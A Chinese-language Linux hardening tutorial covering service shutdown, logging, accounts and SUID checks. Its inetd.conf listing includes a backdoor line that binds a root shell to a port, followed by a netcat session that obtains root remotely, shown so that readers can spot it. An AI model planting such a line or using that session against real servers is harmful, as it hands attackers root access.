当前位置:Linux教程 - Linux综合 - linux安全攻略

linux安全攻略

呵呵,这篇文章的目的在于让读者对Linux的安全配置有个大概的了解,呵呵,因为我也看过一些关于这方面的文章,说的太空了,呵呵,其实我觉得linux机器要做一般的安全配置的话,分分钟就搞定了,嘿嘿1,安装安装的时候,大家都轻车熟路了,呵呵,首先,隔离网络进行系统安装,当然选择custom方式,安装你需要的软件包。硬盘分区:如果用root分区纪录数据,如log文件和email,就可能因为拒绝服务产生大量日志或垃圾邮件。导致系统崩溃。所以建议为/var开辟单独的分区,用来存放日志和邮件,以避免root分区被溢出啦,那就惨喽。最好为特殊的应用程序单独开一个分区,特别是可以产生大量日志的程序,还有建议为/home单独分一个区,这样他们就不能填满/分区了,以下是我硬盘上的分区情况:/ root/var log/hacking 嘻嘻,我的一些黑软wap 不多说了/home当系统安装完重新启动后,最好打上相应系统的安全补丁,请大家养成良好的习惯,记住,你不是在自己家里装98,你装的是一个linux服务器,呵呵。对于redhat系统而言可以在:http://www.redhat.com/corp/support/errata/找到补叮在redhat6.1以后的版本带有一个工具up2date,它能够测定哪些rpm包需要升级,然后自动从redhat的站点下载并完成安装。2,关闭服务呵呵,有句话说的好,要想你的系统绝对安全,就是掐断网线,呵呵,当然我们的机器要对外提供服务,那是不现实的,所以关闭不必要的服务是必要的,因为有些服务会为您的系统带来麻烦。默认的linux就是一个强大的系统,运行了很多的服务。但,有许多服务是不需要的,很容易引起安全风险。第一个文件是/etc/inetd.conf,它制定了/usr/sbin/inetd将要监听的服务,你可能只需要其中的两个:telnet和FTP,其他的许多如popd,imapd和rsh都是有可能引发安全问题的。用下面的命令显示没有被注释掉的服务:suneagle# grep -v "#" /etc/inetd.confftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -atelnet stream tcp nowait root /usr/sbin/tcpd in.telnetdhell stream tcp nowait root /usr/sbin/tcpd in.rshdlogin stream tcp nowait root /usr/sbin/tcpd in.rlogindtalk dgram udp wait nobody.tty /usr/sbin/tcpd in.talkdntalk dgram udp wait nobody.tty /usr/sbin/tcpd in.ntalkdop-3 stream tcp nowait root /usr/sbin/tcpd ipop3dimap stream tcp nowait root /usr/sbin/tcpd imapdfinger stream tcp nowait nobody /usr/sbin/tcpd in.fingerdlinuxconf stream tcp wait root /bin/linuxconf linuxconf --httpexec stream tcp nowait root /bin/sh sh -i哈哈,大家看最后一行,不就被绑了个rootshell么?呵呵,有什么后果?呵呵看看,在远程的一台win2000机器上用如下命令:E:\cmd>nc 192.0.0.88 512ash# ididuid=0(root) gid=0(root) groups=0(root)ash#知道了吧?嘿嘿,大家注意哦*^_^*我有写过一篇关于用这个文件绑后门的文章,呵呵,攻击性很强,这个命令可以帮你查出有没有后门,呵呵。下个要启动的是.rc脚本,它们决定了init进程要启动哪些服务。redhat系统下,这些脚本在/etc/rc.d/rc3.d(如果你的系统以x为默认启动的话,就是/etc/rc.d/rc5.d)。要在启动时禁止某个服务,只需要把大写的S替换为小写的s,同时,redhat也提供一个工具来帮助你关闭服务,输入/usr/sbin/setup,然后选择"system services",就可以定制系统启动时跑哪些服务。另外一个选择是chkconfig命令,很多linux版本的系统都自带这个工具。脚本名字中的数字是启动的顺序,以大写的K开头的是杀死进程用的。以下是一些主要的服务:S05apmd 笔记本需要S10xntpd 网络时间协议S11portmap 运行rpc服务必需S15sound 声卡相关S15netfs nfs客户端S20rstatd 避免运行r服务,远程用户可以从中获取很多信息S20rusersdS20rwhodS20rwalldS20bootparamd 无盘工作站S25squid 代理服务S34yppasswdd NIS服务器,此服务漏洞很多S35ypserv NIS服务器,此服务漏洞很多S35dhcpd dhcp服务S40atd 和cron很相似的定时运行程序的服务S45pcmcia pcmcia卡,笔记本S50snmpd SNMP,远程用户能从中获得许多系统信息S55named DNS服务S55routed RIP,没有必要就别运行它S60lpd 打印服务S60mars-nwe Netware的文件和打印服务S60nfs NFS服务器,漏洞极多S72amd automount,mount远程用的S75gated 另外一种路由服务,例如OSPFS80sendmail 邮件服务,如关闭,仍然可以发信,只是不能收信和作中继S85httpd web服务器S87ypbind NIS客户端S90xfs X font服务器S95innd News服务器Slinuxconf 这个都熟悉吧,呵呵,通过浏览器远程管理系统用的用这个命令察看在关闭启动脚本之前有多少服务在运行:suneagle# ps -eafwc -l54我的系统有54种服务在运行呢,呵呵当你关闭一些服务以后,重新运行以上命令看看少了多少服务。运行的服务越少,系统自然越安全了,嘿嘿。用下面命令察看哪些服务在运行:suneagle# netstat -na --ipActive Internet connections (servers and established)Proto Recv-Q Send-Q Local Address Foreign Address Statetcp 0 136 192.0.0.88:23 192.0.0.5:1236 ESTABLISHEDtcp 0 0 192.0.0.88:23 192.0.0.8:1113 ESTABLISHEDtcp 0 0 192.0.0.88:139 192.0.0.8:1112 ESTABLISHEDtcp 0 0 192.0.0.88:1024 61.153.17.24:23 ESTABLISHEDtcp 0 0 192.0.0.88:23 192.0.0.8:1084 ESTABLISHEDtcp 0 0 0.0.0.0:139 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:80 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:25 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:515 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:512 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:98 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:79 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:143 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:110 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:513 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:514 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:23 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:21 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:113 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:111 0.0.0.0:* LISTENudp 0 0 127.0.0.1:1024 0.0.0.0:*udp 0 0 192.0.0.88:138 0.0.0.0:*udp 0 0 192.0.0.88:137 0.0.0.0:*udp 0 0 0.0.0.0:138 0.0.0.0:*udp 0 0 0.0.0.0:137 0.0.0.0:*udp 0 0 0.0.0.0:518 0.0.0.0:*udp 0 0 0.0.0.0:517 0.0.0.0:*udp 0 0 0.0.0.0:111 0.0.0.0:*raw 0 0 0.0.0.0:1 0.0.0.0:* 7raw 0 0 0.0.0.0:6 0.0.0.0:* 7呵呵,我这个系统由于测试用,所以故意开了不少危险端口,呵呵,大家别学我哦,该关的就关啦,哈哈。3,日志纪录和增强关闭一些不必要的服务以后,日志也是需要我们关心的一块,配置好的unix系统日志非常强大,甚至可以做出陷阱,关于日志,我可以写长篇大论,这里就不很详细讲述日志的原理了,感兴趣的朋友可以参考相关资料或阅读我的另一篇文章《solaris系统日志原理》。好!所有的日志都在/var/log下(仅对linux系统而言),默认情况下linux的日志就很强大了,除了ftp。但我们可以通过修改/etc/ftpAccess或者/etc/inetd.conf,来保证每一个ftp连接日志都能够纪录下来。下面是一个修改inetd.conf的例子:ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -L -i -o-l 每一个ftp连接都写到syslog-L 纪录用户的每一个命令-i 文件received,纪录到xferlog-o 文件transmitted,记录到xferlog账号的安全问题删除/etc/passwd&/etc/shadow中的一些系统账号,如mail,news等等。尽量关闭匿名ftp服务,删掉ftp用户。/etc/ftpusers文件,包含了不能使用ftp的用户列表,root应该在其中。修改/etc/securetty,去除终端ttyp0-ttyp9,使root只能从console或者使用ssh登陆。/etc/issue,不要让次文件透露系统信息。同时要修改/etc/rc.d/rc/local。SUID程序是非常危险的,这些程序被普通用户以euid=0(即root)的身份执行,只能有少量程序被设置为SUID。用一下命令列出系统的SUID二进制程序:suneagle# find / -perm -4000 -print用chmod -s去掉一些不需要程序的suid位。4,连接服务器作为系统管理员,需要经常对系统进行关系和上传文件,这些通过通信过程必须要保证是安全的。我介绍两个方法:ssh和tcp wrappers
[1] [2] 下一页 

(出处:http://www.sheup.com)


上一页 [1] [2]